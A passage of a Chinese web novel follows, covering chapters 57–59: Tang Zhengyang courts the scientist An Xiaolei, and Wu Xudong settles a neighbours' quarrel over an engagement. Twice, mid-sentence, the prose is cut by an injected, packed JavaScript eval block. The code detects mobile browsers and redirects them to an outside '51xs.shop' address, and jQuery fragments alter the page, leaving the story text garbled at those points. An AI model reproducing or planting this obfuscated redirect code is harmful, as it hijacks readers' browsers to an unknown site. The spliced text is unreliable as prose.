周子琛点点头:“我姐让我提醒你,去了北京先不要亮出身份,安全一点。” “好。”汤正阳挥手,检票进站。 吴旭东从海岛赶来,只来得及看到了大哥的背影。 不免遗憾。 周子琛勾住他的肩膀,宽慰道:“没事,等到小北姐结婚,他肯定还要来的。” “都结婚了,你呢?”吴旭东好奇,这小子怎么一点动静都没有。 上大学的时候放假了不是还出去找同学的吗? 毕业之后彻底成了家里蹲了。 失恋了? 周子琛不想回答:“你少操心我,还是操心操心你大哥吧,都快四十了,也不知道找不找得到老婆了。” * 火车上百无聊赖。 汤正阳索性把那两张便条拿了出来。 明天到了研究所那边,要说点什么好呢? 要为他喝酒时的臭显摆道歉吗? 好像没必要。 那就说声谢谢吧。 谢谢她送他回来,也谢谢她的醒酒汤,头痛药,以及袜子,拖鞋。 这么贴心的好女人,也不知道以后会便宜了哪个狗东西。 下车后,他路过一家花店,犹豫片刻,还是进去了。 送束花吧,据说女孩子都喜欢这个。 57. 贪香 二月初,北方的清晨透着彻骨的寒。 好在这边有集中供暖,花店的品种还真不少。 汤正阳转了一圈,买了一束捧花。 白色的铃兰像是一串串倒挂的铃铛,将那六只黄色的郁金香包围起来。 郁金香是跳动的黄色火焰,而铃兰就是沉默的晶莹白雪。 一边冷,一边暖,很像安小蕾的给他的感觉。 研究所八点上班,这会儿大门已经关了,他只能跟门卫套近乎。 递了根烟过去,汤正阳笑着说道:“大叔,帮我把这花送给安小蕾行吗?” “原来是给安教授的呀,那我可得劝你一句了小伙子。”门卫大叔接过烟点上,“给她送花的人可太多了,你这脸上还有伤,未必能入她的眼。” 汤正阳不意外,安小蕾确实很优秀,长得不错,身材也好,年纪轻轻就是课题组负责人,很多人望尘莫及。 不过一码归一码,他只是想表达一下感谢。 便给了门卫大叔二十块钱辛苦费:“拜托了。” 安小蕾收到捧花的时候,下意识就想扔了。 没办法,这段时间以来,有两个人臭不要脸的男人对她死缠烂打,即便她一次次的明确拒绝了,却还是锲而不舍。 不是送花就是送礼物,害她天天被人议论。 她前几天刚放了狠话,谁再纠缠她,她就登报骂人。 没想到今天又收到花了。 不过…… 居然不是玫瑰和百合? 不像是那两个二愣子的手笔。 准备扔花的手又收了回来,她找到里面的卡片—— 酒后失态,见笑了。 谢谢你送我回去,也谢谢你买的药和袜子。 对了,醒酒汤味道不错,喝完胃里暖暖的。 袜子我穿着了,本命年是该穿穿大红,多谢你提醒。 不知道你喜欢什么花,随便挑了一束,略表心意,希望你喜欢。 如果你愿意的话,晚上下班后我想请你和小巷丰登吃顿饭。 到时候我会在门口等你们。 ——汤正阳 安小蕾转身,去储藏室找了个花瓶过来,装了点水,把捧花插了进去,摆在了自己办公室的桌子上。 课题组的同事刘静正好路过,她探头看了眼,走进来八卦:“呦,这次居然没有把花扔了。让我猜猜,那两个人是谁胜出了。” 安小蕾翻了个白眼:“世上男人死绝了吗?我就非得选他们两个?” 刘静明显有些意外。 她以为自己藏得很好,安小蕾肯定不知道攻势最猛烈的那个是她撺掇着同事介绍的。 现在听安小蕾的口气,她有点不确定了。 她讪讪的笑笑,离开办公室回到工位上,跟同事彭岚嘀咕起来:“你弟弟放弃了?” “没有啊,他定了一枚钻戒,准备今天直接求婚呢。”彭岚小声道,“你放心,我又不傻。安小蕾势头这么足,不就是因为她没有家庭拖累吗?等她结了婚有了孩子,咱俩就有机会了。” “那就好。得赶紧把她踹下去,要不然,咱俩到退休都混不到一个好点的职称。”刘静放心了。 这个安小蕾,是他们所里最年轻的课题组负责人。 来的时候才二十出头,已经是博士了。 对他们这些老前辈很不客气。 以前安小蕾不在的时候,他们可以送完孩子上学再来,稍微迟到半个小时根本没人管。 等安小蕾一来,乖乖,迟到的直接扣奖金。 没办法,有孩子的女职工们,不得不从老家叫了长辈过来带孩子,结果长辈一来,各种矛盾就出来了。 都是安小蕾害的。 她们怎么可能不恨这个女人。 偏偏这个女人专业能力过硬,来的第一年就带着课题组取得了重大突破。 之后的几年,更是拿奖拿到手软,奖金发个不停。 以至于她们根本没办法挑剔安小蕾在工作上的毛病。 只能从个人问题上给她制造障碍。 她们非常笃定,婚姻和家庭一定也会成为安小蕾的负累。 只要结了婚,安小蕾一定会跟她们一样,被孩子和男人拖后腿。 到时候,成就锐减,光芒褪去,荣耀不再,看这个女人还怎么刁难她们! * 汤正阳在市中心转了一天,发现目前在售的户型都偏小。 没办法,这是跟当地的经济水平直接挂钩的。 好在有一家开发商目光长远,在建的楼盘里,有三室两厅这样的大户型。 只不过,目前还是毛坯,需要装修。 售价还算公道,一平九百,一百二十平才十万出头,算上装修什么的,估计十五万能搞定。 只是这么一来,需要小巷和丰登自己多操点心了。 他还要跑药材和查案子,肯定没办法时时刻刻盯着。 售楼员见他犹豫,劝道:“要不就买这个两室一厅的,结婚住的话足够了,要是长辈过来带孩子,那就让长辈跟孩子住一个房间。” “我考虑一下。”汤正阳看看时间,快下班了。 他赶紧去研究所门口等着。 没想到门口有个年轻的小伙子也在等人。 右手揣在裤兜里,时不时掏出来看看。 是一个红丝绒的盒子,看来是想求婚的。 人长得还可以,可惜腿不好看,O型腿包裹在牛仔裤下面,格外的明显。 习惯也不好,等人的这几分钟里,已经随地吐痰十几次了。 也不知道是感冒了,还是怎么,真没素质。 偏偏这人还留了飞机头,每次吐痰的时候都像一只秃尾巴鹌鹑在啄米,滑稽又荒唐。 汤正阳没理,往边上稍稍,免得等会儿踩到脏东西。 很快,职工们陆续出来了。 不过他没看到小巷和丰登,只看到了安小蕾。 难道是小年轻想约会,不想跟他这个大哥吃饭? 他好奇的看着安小蕾,还没有开口,旁边那个O型腿便迎了上去。 男人热情地掏出裤兜里的戒指盒子,拦在了安小蕾面前,单膝跪地,笑着说道:“小蕾,嫁给我好不好?三年了,如果你想继续考验我的话,我也愿意等,只希望你把钻戒收下。这可是我特地给你定制的,三千多块钱呢!” 安小蕾明显不愿意,不过她长着天生的微笑唇,看起来似乎并不反感这件事。 以至于O型腿产生了错觉,没等她开口就站了起来,打开戒指盒子,想帮她戴上。 结果她后退两步,冷着嗓子道:“听不懂人话吗?我不喜欢你,再来纠缠我的话直接报警了。” “别啊小蕾,我的心里只有你啊。这几年家里介绍了多少对象都被我拒绝了,我一门心思只想等你。你就是块石头,也该被我捂热了吧?”彭崑急了。 他是真的想把这个女人追到手。 有房有车又有钱,错过这个村可就没有这个店了。 一时激动,直接上手去拽她。 他姐姐都教过他了,女孩子都是恋爱脑,只要把这个女人拽到自己怀里,狠狠亲上几口,指定沦陷。 没办法,谁让他长得帅呢。 他很有信心。 求婚的时间也是他精挑细选的,正好下晚班,门口都是人。 到时候别管安小蕾愿不愿意,起码别人看起来,他们俩已经是一对了。 也算是变相的给安小蕾施加压力吧。 这都是他姐夫当年玩过的把戏,他不信自己学不来。 结果…… 他刚扯住安小蕾的袖子,旁边便冲上来一个男人,把他给顶开了。 用的是胳膊肘,下黑手还真有一套。 以至于他踉跄着撞到了门卫室的墙壁上,左边胳膊疼,右边被顶的侧腰也疼。 气得他张嘴就要骂娘。 结果一扭头,安小蕾已经挽住了这个男人的胳膊,长眉挑起一个傲慢的角度:“不好意思,我有男朋友了。我再跟你澄清一遍,我不喜欢你,请你放尊重点。” 说罢,安小蕾便挽着汤正阳去了停车场。 打满方向盘,出库。 路口等绿灯的时候,她解释了一句:“没生气吧?他和另外一个人纠缠我很久了,正好你在,帮我挡挡烂桃花。” “不生气。”汤正阳当然知道她那么说只是为了摆脱麻烦。 他不会自作多情,以为才见过两面的女博士会对自己另眼相看。 他只是好奇:“小巷和丰登呢?” “他们两个做事拖拉,请假耽误的活儿没干完,加班呢。”安小蕾自己的活儿干完了,当然可以按时下班。 汤正阳恍然:“那走,我请你吃顿好的。” “不用,回我家吃吧。”安小蕾看着眼前的路面,脑海里浮现的,却是前天晚上玄关那里的一幕。 破洞的袜子,无拘无束的大脚趾。 这个男人是冷白皮,以至于破洞边缘勒红的皮肤格外显眼。 可以想象,当初他脸上的伤口,一定非常触目惊心。 多半跟小东一样,在痛苦和折磨里挣扎求生,才能活到现在。 她想起子琰心疼小东的眼泪,自然不想浪费汤正阳辛苦赚来的钱。 算是爱屋及乌吧,谁让他是小东的哥哥,而小东又是她的妹夫。 车子停在了一个现代化的小区门口。 小区有高层,也有传统的六层楼。 安小蕾不喜欢坐电梯,买的是顶楼,六楼。 不过为了视野好一点,她选的是边缘上紧挨着隔壁公园的那栋。 “户型很小,所以我买了两套,打通后成了一套。”安小蕾开了门,邀请汤正阳进来。 玄关处摆着一双女士拖鞋,还有一双穿过的男士拖鞋。 汤正阳的心里莫名一紧,酸酸的涩涩的。 不知道是哪个幸运儿,居然曾经登堂入室过。 他俯身换鞋,头顶传来女人清越的声线:“不知道你来,没买拖鞋,这是子琛过来玩的时候穿的,你先将就一下。” “好。”酸涩骤消。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13783023|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>心头的烦躁却不减反增。 她没带别的男人来过,只是亲弟弟过来,所以才有了一双男士拖鞋。 整个鞋架子上唯一的一双男士拖鞋。 那她直接带他过来吃饭,是不是…… 不,肯定是他想多了。 他是小旭的哥哥,小星和小巷又是人家爸妈养大的,四舍五入,他跟周子琛的定位应该差不多。 她不过是拿他当兄弟。 赶走纷乱的思绪,他去厨房帮忙:“吃什么,我来做。” “你会做饭?”安小蕾本打算炒点饭就行了,不想太麻烦。 汤正阳已经卷起了袖子:“我会,你去休息吧,好了我喊你。” “好。”安小蕾确实累了,脑力劳动虽然不见得跟体力劳动一样急赤白脸,但也非常消耗精气神。 加上她之前请了假,今天赶了好多活儿。 她去书房拿了本杂志出来,坐在沙发上问道:“你要听收音机吗?听电视也行。” “不用,你看你的书。”汤正阳回头看了眼。 日光灯下,学识渊博的女人正面带微笑,安静的浏览着杂志。 女人身后的书房敞开怀抱,露出一整个墙壁的书架,上面摆满了各种书籍。 真好。 如果他没有人被人替换身份,如果他没有被人扔下悬崖,如果…… 他也想读书,读很多书。 算了,都三十几岁了,想这些也没用。 他赶紧系上围裙做饭。 好在冰箱里东西很全,一个小时后,三菜一汤好了。 安小蕾看着桌子上丰盛的晚餐,不禁赞美道:“正阳大哥真是个居家好男人,谁跟你结婚真是捡到宝了。” 那你要不要捡个宝呢? 汤正阳想问,但他问不出口。 他不知道自己摔下山崖之前的学历是什么。 也许是个高小毕业的文盲。 出来做事后虽然上了两年夜校,却不是什么过硬的全日制学历。 他什么也不是。 只能笑了笑:“哪有你说的这么好,瞎做的。” “瞎做的还这么好吃,好好做那岂不是顶级大厨的水平?”安小蕾放下书本尝了尝,真是美味。 那就不客气了。 汤正阳被她夸得不好意思,吃饭的时候格外斯文。 以至于安小蕾三两口吃完了,他还在那里细嚼慢咽。 一点不能失了风度。 安小蕾起身去厨房洗碗,他追随着她的背影,问道:“平时你也自己做饭吃吗?” “嗯,平时小北会过来。”安小蕾洗完碗出来,转身去阳台收衣服,“你慢慢吃,我先冲个澡。” 等她出来的时候,人已经走了,留了张便条给她—— 不早了,我去酒店休息。 帮我跟小巷和丰登说一声,我想给他们买三室两厅的大户型,不过是毛坯的,需要他们自己盯着点装修。 问问他们能不能照看过来。 有消息了打电话跟我说一声。 号码是:7XXXXXX ——汤正阳 安小蕾抓起大哥大去阳台看了眼,直接回了个电话过去:“找到酒店了?” “还没有。”汤正阳还在楼下,没有走远。 “就买大的。装修我盯着,你安安心心忙你的。” “好的,谢谢。”挂断电话,汤正阳下意识回头。 正好跟阳台上的安小蕾四目相对。 年轻的女人穿着夹棉的鹅黄色睡衣,头发还没吹,用杏色的毛巾包着。 阳台暖黄色的灯光罩在她身上,柔化了她的五官,朦胧了这短暂相处的时光。 像是一颗燃烧的流星,撞入他的心湖,掀起滔天的浪。 以至于他一时愣在那里,久久没有进一步的动作。 楼上的人看楼下,寒风萧瑟中的男人,身姿笔挺,是那永不屈服的傲雪寒松。 楼下的人看楼上,冷风侵袭中的女人,抱着胳膊,是那咬牙坚持的温室娇花。 齐大非偶,动心都是错。 可他还是动心了。 像个贪婪的窃花贼,想要攫取那一缕芬芳,独自珍藏。 不过眼下还不是时候。 汤正阳笑着挥了挥手,转身离去。 * 海军大院,吴旭东赶回来做饭。 刚到楼梯口,便遇到了一桩头疼的纠纷。 本来不想多事,奈何叶嫂子拉着他的袖子,非要他帮忙劝说一二。 吴旭东无奈,只好问了问什么情况。 原来是楼梯对面的副营长萧莽家里出了点麻烦。 什么呢? 萧莽的小姨子过来探亲,跟叶嫂子的小叔子冒长城看对眼了。 两人眉来眼去了一段时间,直到相约去城里逛街,开房,这才暴露了关系。 现在萧莽的老婆闹着要叶嫂子给个说法。 “我水灵灵的妹妹,就这么被糟蹋了,这事你们家老冒要是不给我一个说法,我就找政委去!” 58. 躁动(二更) 吴旭东头疼。 这种事找他调解有用吗? 他又不是居委会大妈。 可是放任他们吵下去的话,周子琰回来就没办法休息了。 她怀着孩子已经辛苦非常,还要带着新来的女兵学技术,他不忍心。 只能尝试着去调解。 环顾一周,萧莽的老婆丁佳佳气势汹汹。 她本来就生得脸长眼细,一发威,越发像个愤怒的钉耙,扎谁谁疼。 而她妹妹丁俐俐显然不如她强势,这会儿正躲在她身后嘤嘤啼哭。 再看叶嫂子这边,冒长城显然是个没担当的,也躲在嫂子身后装乌龟。 得嘞,两个没有责任心的小屁孩儿,这要是硬凑一对,指定走不长。 可是凑不凑的也不是他说了算的,总得问问双方的意见。 索性开了门:“进来说吧。” 别耽误他做饭。 一群人叽里呱啦拉拉扯扯的进来了,客厅不大,算上沙发也坐不下,叶嫂子赶紧去自己家拿了几个小马扎过来。 吴旭东已经系上了围裙,挽起了袖子,准备择菜。 叶嫂子赶紧把他旁边的篓子拿过来,帮忙剥蒜。 丁佳佳没动,坐在那里像个要债的。 丁俐俐也觉得应该帮忙,便往叶嫂子跟前挪了挪,结果她姐一个眼神扫过来,她便怂了。 乖乖坐回自己的位置上,低头绕起了白球鞋的鞋带子。 好事的其他邻居也不少,他们正在议论。 到底是结婚好,还是赔偿一笔钱分手的好。 那丁佳佳时不时跟别人嚷嚷两声,必须结婚,不然就报警抓流氓! 那大嗓门儿,隔壁楼的都听见了。 生怕这事闹不起来似的。 吴旭东觉得她在虚张声势,估计是她妹妹条件一般,所以想趁机逼着冒家点头。 他没有理会这个女人,自顾自洗菜,边忙边了解情况:“长城真的不想高考了?” “压力大,不想考了,想出来上班。”叶美娟叹气,“太年轻了,心态不好。” 吴旭东停下手里的动作,看向了冒长城:“你自己说!” “我怕我还是考不上。”冒长城低头,委屈坏了。 虽然他按着吴旭东的法子努力去学习了,可他还是没有多大进步,他很着急,索性破罐子破摔,不考了。 吴旭东问了问他各科的成绩。 也还凑合吧,还有三个多月的时间,想提到一流名校的水平肯定有难度,但是考个一般的大学还是不成问题的。 于是他问:“你心目中的大学是哪个?” “清北。”别看冒长城水平不行,野心倒是不小。 吴旭东找到问题的症结了:“目标定得比天高就有用吗?不如定个容易够到的。” “比如?”冒长城看不上一般的学校,可惜他的能力配不上他的雄心壮志,所以痛苦。 吴旭东例举了几个学校,他都没什么兴趣。 吴旭东索性放下手里的菜刀,沉思片刻,道:“这样,你可以报考边远地区的重点大学,分数线不高,说出去也是名校,肯定比经济发达地区的普通学校强一些。” “也不是不行。”冒长城之所以好高骛远,无非是虚荣心作祟。 他想考个好学校。 这是他性格的底色,很难再改了。 不如为他量身定制一个目标,西南,西北,东北,这三个地方都有口碑不错但分数线较低的名校。 吴旭东提了几个,冒长城都觉得还不错。 既然这样,吴旭东再次问他:“那你要不要再考一次?” “我试试吧。”冒长城心动了。 不过还是有点压力的。 吴旭东没理,转身看向丁俐俐:“你呢?什么情况,说我听听。” “我……我学裁缝的。”丁俐俐有些难为情,“我初中毕业就出来——” 话音未落,丁佳佳打断了她:“你给我闭嘴!姑娘家家的,还没结婚就被人给睡了,我的脸都被你丢尽了!” 说着她强势坚持道:“这事我看很简单,结婚!反正小冒自己也不想考了!与其痛苦下去,不如结婚!小两口一起进厂工作,早点把孩子生了,趁着两边父母都还有劲儿,帮他们带带孩子。” 吴旭东明白她的急切来自哪里了。 冒长城再怎么着也是个高中毕业生,配一个初中毕业的还是绰绰有余了。 难怪丁佳佳逼着他们结婚。 吴旭东反问道:“难道你不想你妹妹嫁个更有前途的男人?我大学同学毕业进了邮电局,小冒呢?现在出去进厂,顶多是个拧螺丝的。能一样吗?” “拧螺丝怎么了?有的人就是不适合读书,只要小两口齐心协力,怎么着不是过?”丁佳佳又不傻,真等冒长城考上了大学,可就看不上她妹妹了! 她这么一个如花似玉的妹妹,到时候成了残花败柳,还怎么嫁人? 叶嫂子一听这话,急了! 她也有自己的小算盘。 要是小叔子现在就结婚,少不得需要她公婆出钱。 到时候家里拿出全部力量支持小叔子,那她和老冒是要吃亏的。 再说了,这都复习第三年了,要是不考一下,那不是白瞎了所有的努力? 而且,要是小叔子能考上大学,以后有个好工作,给公婆养老的责任也不至于都压在他们身上。 她这是为了长远考虑啊。 说什么也不想让小叔子现在就结婚。 于是她反驳道:“拧螺丝那么好的话,你怎么不让你家老萧去拧啊!还不是看我家长城压力大,故意怂恿他放弃高考。我倒是不信,要是你妹妹现在有机会搏一搏大学,你会让她别考了去拧螺丝?” “你什么意思?难不成是我不让你家小冒考试的?你搞搞清楚,是他自己不想学了!不学就算了,还耍流氓,占我妹妹的便宜!你要是不让他们结婚我就找政委说理去!”丁佳佳恼了! 她这个妹妹长得水灵俊俏,本打算留着找个有钱人家嫁了,现在好了,居然被冒长城给祸害了。 祸害了还不想负责任,想得美! 一时越想越气,干脆跟搡了叶嫂子一把。 叶嫂子怀着孕呢,差点摔倒,气得她抓起茶几上的鸡毛掸子要打人。 吴旭东见状,劝道:“何必呢!丁嫂子不就是怕小冒考上大学忘了她妹妹吗?我看这样吧——” 他在围裙上擦擦手,走到客厅,迎着众人好奇的目光,道:“让他们两个先订婚吧。反正小冒还有三个多月就考了,要是考不上,到时候再结婚不迟。” “那要是考上了呢?”丁佳佳着急的本来就不是这三个多月的时间。 吴旭东知道她的担心,提议道:“考上了那就等四年。你也别怕老冒他们耍赖,先让他家把彩礼钱给了,要是四年后小冒背信弃义,那就不退彩礼,各奔前程。要是四年后小冒还愿意跟小丁在一起,那这钱就拿给他们买房子成家。” 这倒是个两全的法子。 叶美娟没意见,只要彩礼不是太夸张就行。 丁佳佳也沉默了。 这似乎是最稳妥的法子了,毕竟俐俐今年才十八,还领不了结婚证。 不过,还是白纸黑字来得实在。 于是她要求写个协议。 吴旭东没意见:“你们商量好彩礼的金额,然后写协议。” 接下来两家为了彩礼又吵了起来。 丁佳佳狮子大开口,要三万。 叶美娟在心里打了一百八十遍算盘,顶多三千,再闹就算了,大不了让政委过来调解,反正政委也不见得有更好的办法。 吴旭东被吵得头疼,一看手表,周子琰就快回来了,赶紧把饭菜往外盛。 摆好筷子,拉开包了坐垫的孕妇专用座椅,吴旭东解开了围裙:“都别吵了!三万太多了!老冒家里又没有金山银山。” “就是!就算是仙女也要不了三万呀!”叶美娟对着丁佳佳翻白眼。 丁佳佳气死了,刚准备开口,吴旭东又说道:“不过三千也太少了,小冒要是考上了,人家姑娘要等他四年,大好青春全都浪费了!” 丁佳佳终于听到了一句贴心的话,感动得眼泪都下来了:“就是,我妹妹的时间不值钱吗?人生能有几个四年,还是最好的年华!” 吴旭东见两边都动摇了,便趁热打铁,道:“我看不如折中一下,八千八百八十八,发财的好数字!另外,小丁要是找不到工作可以到我服装厂上班,待遇从优!” 这下丁佳佳没有意见了。 有意见的是叶美娟。 八千八百八十八!她的公婆是拿不出这么多钱的,只能找她和老冒补上。 这简直就是要她的命啊。 这个吴旭东啊,真是坑死她了! 气得她立马站起来,要走。 吴旭东喊道:“看来叶嫂子是不想跟我发财了。” 叶美娟赶紧停下脚步,好奇地看着他。 吴旭东扔了张名片在茶几上:“江厂长,我兄弟。” 叶美娟拿起名片,有些意外:“你认识华美电器的老江?” “过命的交情。嫂子家里不是也有兄弟吗?前几天还在为工作的事头疼吧?”吴旭东看了看表,“嫂子只要不让我为难,你兄弟的工作我包了。” “那彩礼钱可以赊账吗?先给三千,等我们凑齐了再补全。”叶美娟动摇了。 谁不知道华美电器势头正盛。 反正彩礼钱可以让小叔子打欠条,等毕业工作了再还他们。 机会难得,娘家兄弟的工作要紧。 叶美娟愿意退一步。 吴旭东好人做到底,劝了劝丁佳佳:“一般人家真没办法一下捧出这么多钱,给老冒他们一点时间吧。” “好吧。”丁佳佳也没想到,吴旭东平时来去匆匆,闷声不响的,实际上人脉却这么了得。 居然跟江厂长有交情。 她愿意退一步,以后还有求人办事的时候。 终于,两家达成了和解,写完协议签了字,一式五份。 两家各留一份,剩下三份,一份给和事佬吴旭东,另外两份给在场的其他和事佬保管。 人群逐渐散去。 不禁啧啧称奇。 “没想到这个小吴口才这么好,三两句就把他们劝好了。” “是啊,大学生就是不一样。” “难怪我妈总说周指导是有福之人,看着吧,这个小吴今后肯定能赚大钱。” “我看也是,周指导大耳垂,福气大着呢。” “世道真是变了,男人也能当居委会大妈了!” “哈哈哈,男人怎么能叫大妈,大叔还差不多。” “可不能瞎说,人小吴年轻着呢,过完年才二十四。” “是啊,比周指导还小两岁呢。” “原本还以为周指导找了个小白脸,没想到这么有能耐,还是周指导眼光好啊。” “就是不知道她怀的是男孩还是女孩。” “肯定是男孩啊,有福相的人肯定生男孩。” 议论声远去,吴旭东锁了门跟出来,提前在大门口等着。 晚霞在天边伸胳膊蹬腿,慵懒且惬意。 一个齐耳短发的女人快步走近。 白色的军装,小麦色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13786121|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的皮肤,即便怀了孕,也还是健步如飞,英姿飒爽。 吴旭东赶紧迎了上去:“琰琰!今天做了你爱吃的东坡肉,走,尝尝。” 周子琰有三个多月没有理发了,还有点不习惯。 她笑着把春风吹乱的额发撩开,挽着吴旭东的手臂:“遇上什么好事了,怎么这么开心?” 吴旭东大概说了说,周子琰乐了:“我家小东越来越厉害啦!都能调解邻里纠纷啦!” “没有给你丢脸吧!” “没有!我家小东真棒!” “琰琰!” “嗯?” “这段时间都忙忘了,这周末去把婚纱照拍了吧。” 要不然等到显怀了就不好穿影楼的衣服了。 周子琰笑着捏捏他的脸颊:“听你的,走,回家。” * 汤正阳买完房子,到研究所门口等着。 准备把房本和钥匙拿给弟弟妹妹。 这次他依旧带着一束捧花,准备亲自送给安小蕾,毕竟他昨天去人家家里吃饭了。 虽然饭是他做的,可他一分钱没花。 总得表示一下。 这次选了向日葵和茉莉。 依旧是黄白配色,但是花的品种做了区分。 结果还是只有安小蕾出来了。 “他们还在加班?”汤正阳有点意外,这两个年轻人,怎么工作效率这么差。 安小蕾摇摇头:“他俩上班时间在茶水间接吻,被虞书记发现了,在训他们呢。” “……”汤正阳哭笑不得,“那去车上等着?” “嗯。”安小蕾没问他手里的花是给谁的,大步朝前走去。 汤正阳追上去:“等等,给你的。” 安小蕾回头:“今天又是什么理由给我送花?” “昨天蹭了你家的饭。”被一个漂亮女人直勾勾的打量着,汤正阳有点不自在,说话的时候拿手背抵着嘴唇。 下意识摸了摸左边脸上的伤痕。 安小蕾把花接过来,看了眼他刻意挡住的左脸,沉声道:“听说过吗?” “什么?”汤正阳回头,看着夕阳下年轻女人的脸庞。 她长得真好看。 鹅蛋脸很好的藏起了她的攻击性,让人以为她很和气很好说话。 只有领教过她的真本事,才会明白那简直就是给野狼披上的羊皮。 不怪那个O型腿一再作死,迷惑性太强。 而他是见识过她发威的场面的。 要问他怕吗?并不。 甚至有点好奇,如果有朝一日他也惹恼了她,会被她训斥得有多惨。 一时恍惚,目光游离,被安小蕾解读成了极端的不自信。 她有些同情他,扬起脸庞,对着他微微一笑:“伤疤是男人的勋章。别挡了,挺帅的。” “真的?”汤正阳还是头一次听人这样形容他的伤疤,心湖里像是被人倒进一桶粉色的颜料。 春风吹皱一池春水,很快泛起桃色的泡泡。 耳边响起女人好听的声音:“当然,我从来不说假话。” “那……那你愿意摸摸我的勋章吗?”汤正阳不知道自己怎么了,脑子有点发昏。 可能高烧的时候就被这个女人偷走了心。 可能醉酒的时候也被这个女人窃走了理智。 然而他鼓足了勇气,却只是问了个啼笑皆非的问题。 安小蕾笑着抬头:“那你弯腰啊,你比我高这么多,我够不着。” …… 一米八八的魁梧男人,在一米六五的小矮个面前俯下身来。 女人伸出手,小心翼翼,抚摸着他崎岖的过去:“当时,很疼吧?” “嗯。”汤正阳一动也不敢动,其实他想摁住她的手,用力蹭蹭她的手心。 女人的手心,一定很软,很香,很暖。 可他到底是不敢唐突,成了个行动的矮子。 以至于他僵硬紧绷的身体,再度被安小蕾解读成了自卑。 她不想看到他这个样子。 其实他很优秀,踏实努力,即便文凭不高,却凭借一己之力供汤家六个儿子成家立业。 那是多么强大的行动力,又是多么持久的忍耐力。 这样的一个男人,但凡幸运一点,能够正常地坐在课堂里接受知识的洗礼,一定更加出色,更加耀眼。 她生平最佩服的就是不被环境拖累,不肯自甘堕落的进取者。 说不清到底是心疼还是欣赏,总之,她想让她自信一点。 干脆把她的整个掌心贴上去,正好把他脸上的“X”完全覆盖。 来回摩挲两下,刚冒出来的胡渣扎得她手心很痒。 安小蕾笑着鼓励道:“虽然我不会变魔法,不过我敢肯定,现在的你也足够迷人。” 不,你会! 汤正阳什么时候听过这般动听的赞美,一时心绪起伏,难以自制,猛地握住了她的手。 正准备说点什么,身后响起了两个年轻人的埋怨声。 真煞风景。 他赶紧松开安小蕾,回头看着牢骚满腹的亲妹妹和唯唯诺诺的养弟弟。 出走的心跳瞬间归位,噗通噗通,喧嚣如雷。 “哥!等久了吧,走,上车说!”吴巷北一路小跑过来,挽住了大哥的胳膊,喊了声,“蕾蕾姐好。” 安小蕾沉默的转身,打开了车门,盯着自己的手心,若有所思。 而落后一步的汤丰登,忽然打了个哆嗦。 刚刚大哥看他的眼神,怎么那么吓人。 他做错事了? 他怎么不知道呀? 嘤…… 59. 痴恋 吴巷北很喜欢这个大哥,拉着他坐在了后排。 立马注意到了后排那捧硕大的花束,不禁好奇:“蕾蕾姐,彭崑不是求婚失败了吗?今天又给你送花啊,他还真是打不死的小强呢。咦,不过不太对,他不是最喜欢送你玫瑰吗?” 出于好奇,吴巷北拿起了花束里的卡片,念道—— “谢谢你昨晚留我吃饭。 你的小家很温馨,很有借鉴价值。 等我以后买了房子,我也那样装修,尤其是那一整面墙壁的书架,让我印象深刻。 难怪你年纪轻轻就是个——” 还没念完,卡片就被汤正阳抢了过去。 吴巷北郁闷了:“干嘛呀哥,让我看看嘛。” “这样不好。”汤正阳有点不自在,别过头去,看向了窗外。 还好他罗里吧嗦写了一大堆,小巷还没看到最后的落款是谁。 正在开车的安小蕾看了眼车内的后视镜:“小北,下次你再这样,我也去看小汤写给你的情书。” “啊,怎么这样啊!蕾蕾姐你好坏!”吴巷北嘴上埋怨,行动上却很乖巧,没有勇气去抢。 谁叫蕾蕾姐不好惹呢。 只能好奇的八卦起来:“我看这花的品味不像是彭崑送的,难道是段成遇送的?那也不对,他最喜欢送你香水百合。啊,我知道了,是新的追求者!是不是今年刚调来的那个陈教授?可惜他离异带娃,不合适啊。” 正嘀嘀咕咕,吴巷北嘴巴里忽然多了一颗大白兔奶糖。 她诧异的回头,但见大哥不动声色的把糖纸折叠起来,收进了西装口袋里。 吴巷北笑了:“你果然是我亲哥,居然知道我喜欢吃大白兔哎,燕西哥在世的时候,从来没有给我吃过糖。” “他对你们很不好吗?”汤正阳终于让这个叽叽喳喳的妹妹岔开了话题,不禁松了口气。 吴巷北想了想:“也不能这么说,小时候还是很好很好的。燕西哥笑起来特别温柔,特别好看。所以他一直很招女孩子喜欢,我和姐姐也喜欢黏着他,每次跟他去同学家玩,都能蹭到好多好吃的。尤其是那些女孩子,见到他就跟蜜蜂见到了鲜花一样,嗡嗡嗡的围着他转。可惜后来长大了就疏远了,可能是因为他一个人离家很远,去上了师专吧,那会儿他住校,不怎么回来,后来慢慢就生疏了。” “嗯,你喜欢的话,哥以后天天给你买。”汤正阳蹙眉,这个吴燕西前后变化有点大,多半是发生了什么。 他确认了一下时间:“他多大上的师专?” “十六那年。那会儿东东被拐了,他又去了师专,家里就剩我和二姐陪着爸爸妈妈。爸爸白天要去挣工分,我和二姐又要上学,不可能时时刻刻盯着妈妈,后来妈妈就扒火车扒出意外来了……”吴巷北说到这里,不禁红了眼眶。 汤正阳叹了口气,搓了搓她的脑袋:“是哥不好,勾起你的伤心事了。” 